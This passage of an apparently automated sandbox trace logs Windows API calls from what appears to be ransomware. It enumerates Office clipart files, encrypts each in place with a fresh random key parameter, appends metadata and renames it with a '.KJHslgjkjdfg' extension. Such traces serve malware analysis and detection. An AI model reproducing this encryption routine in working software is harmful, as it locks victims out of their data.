lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc53a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099165.JPG", cAlternateFileName="")) returned 1 [0191.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.670] GetProcessHeap () returned 0x990000 [0191.670] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.670] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.670] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0191.672] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.672] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.672] GetProcessHeap () returned 0x990000 [0191.672] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.672] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.672] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.672] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.672] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.672] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.673] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.673] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.673] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.673] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.673] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc53a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc53a, lpOverlapped=0x0) returned 1 [0191.674] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc540, dwBufLen=0xc540 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc540) returned 1 [0191.675] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.675] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc540, lpOverlapped=0x0) returned 1 [0191.675] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.675] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.675] SetEndOfFile (hFile=0x130) returned 1 [0191.678] GetProcessHeap () returned 0x990000 [0191.678] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.678] GetProcessHeap () returned 0x990000 [0191.678] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.678] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.kjhslgjkjdfg")) returned 1 [0191.680] CloseHandle (hObject=0x130) returned 1 [0191.680] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xfcff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099166.JPG", cAlternateFileName="")) returned 1 [0191.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.689] GetProcessHeap () returned 0x990000 [0191.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.689] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.689] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0191.692] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.692] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.692] GetProcessHeap () returned 0x990000 [0191.692] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.692] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.692] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.692] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.692] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.692] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.692] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.692] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.693] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.693] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.693] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xfcff, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xfcff, lpOverlapped=0x0) returned 1 [0191.695] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xfd00, dwBufLen=0xfd00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xfd00) returned 1 [0191.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.696] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xfd00, lpOverlapped=0x0) returned 1 [0191.696] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.696] SetEndOfFile (hFile=0x130) returned 1 [0191.698] GetProcessHeap () returned 0x990000 [0191.698] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.698] GetProcessHeap () returned 0x990000 [0191.698] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.kjhslgjkjdfg")) returned 1 [0191.700] CloseHandle (hObject=0x130) returned 1 [0191.700] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xabad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099167.JPG", cAlternateFileName="")) returned 1 [0191.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.701] GetProcessHeap () returned 0x990000 [0191.701] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.701] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.701] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x3, lpOverlapped=0x0) returned 1 [0191.703] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.703] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.703] GetProcessHeap () returned 0x990000 [0191.703] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.703] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.704] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.704] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.704] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.704] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.704] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.704] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.704] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.704] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.704] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xabad, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xabad, lpOverlapped=0x0) returned 1 [0191.706] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xabb0, dwBufLen=0xabb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xabb0) returned 1 [0191.706] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.706] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xabb0, lpOverlapped=0x0) returned 1 [0191.707] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xac84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.707] SetEndOfFile (hFile=0x130) returned 1 [0191.710] GetProcessHeap () returned 0x990000 [0191.710] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.710] GetProcessHeap () returned 0x990000 [0191.710] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.710] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.kjhslgjkjdfg")) returned 1 [0191.712] CloseHandle (hObject=0x130) returned 1 [0191.712] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ed3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099168.JPG", cAlternateFileName="")) returned 1 [0191.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.713] GetProcessHeap () returned 0x990000 [0191.713] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.713] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.713] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.713] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0191.716] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.716] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.716] GetProcessHeap () returned 0x990000 [0191.716] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.716] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.716] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.717] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.717] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.717] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.717] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.717] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.717] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.717] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.717] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4ed3, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4ed3, lpOverlapped=0x0) returned 1 [0191.719] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4ee0, dwBufLen=0x4ee0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4ee0) returned 1 [0191.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.719] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4ee0, lpOverlapped=0x0) returned 1 [0191.719] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.719] SetEndOfFile (hFile=0x130) returned 1 [0191.721] GetProcessHeap () returned 0x990000 [0191.721] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.721] GetProcessHeap () returned 0x990000 [0191.721] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.kjhslgjkjdfg")) returned 1 [0191.722] CloseHandle (hObject=0x130) returned 1 [0191.722] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x27d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099169.WMF", cAlternateFileName="")) returned 1 [0191.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.723] GetProcessHeap () returned 0x990000 [0191.723] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.723] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.723] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.723] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.723] GetProcessHeap () returned 0x990000 [0191.723] RtlAllocateHeap 